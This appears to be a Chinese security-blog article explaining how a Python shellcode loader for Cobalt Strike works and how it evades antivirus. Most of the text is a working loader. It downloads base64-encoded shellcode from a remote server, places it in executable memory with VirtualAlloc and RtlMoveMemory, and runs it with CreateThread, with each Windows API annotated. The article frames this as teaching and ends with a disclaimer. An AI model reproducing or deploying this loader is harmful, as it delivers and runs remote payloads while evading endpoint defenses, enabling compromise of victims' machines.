枪和子弹在一起才有威胁性肯定不让过安检啊
当只有loader这边枪时,没子弹构不成威胁,所以可能会绕过免杀
当只有shellcode时,只有子弹没有枪,也可能会绕过免杀
import ctypes
import requests
import base64
scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
import ctypes
import requests
import base64
scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize, #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect #该内存的初始保护属性
};
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
|
|
|
|
|
|
|
|
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize, #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针
LPVOID lpParameter, #向线程函数传递的参数
DWORD dwCreationFlags, #线程创建属性
LPDWORD lpThreadId #保存新线程的id
)
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
|
|
|
|
|
|
|
|
|
|
|
|
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1))
当线程退出时会给出一个信号,函数收到后会结束程序。 当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。
【往期推荐】
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
本文始发于微信公众号(渗透Xiao白帽):【超详细 | Python】CS免杀-Shellcode Loader原理(python)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论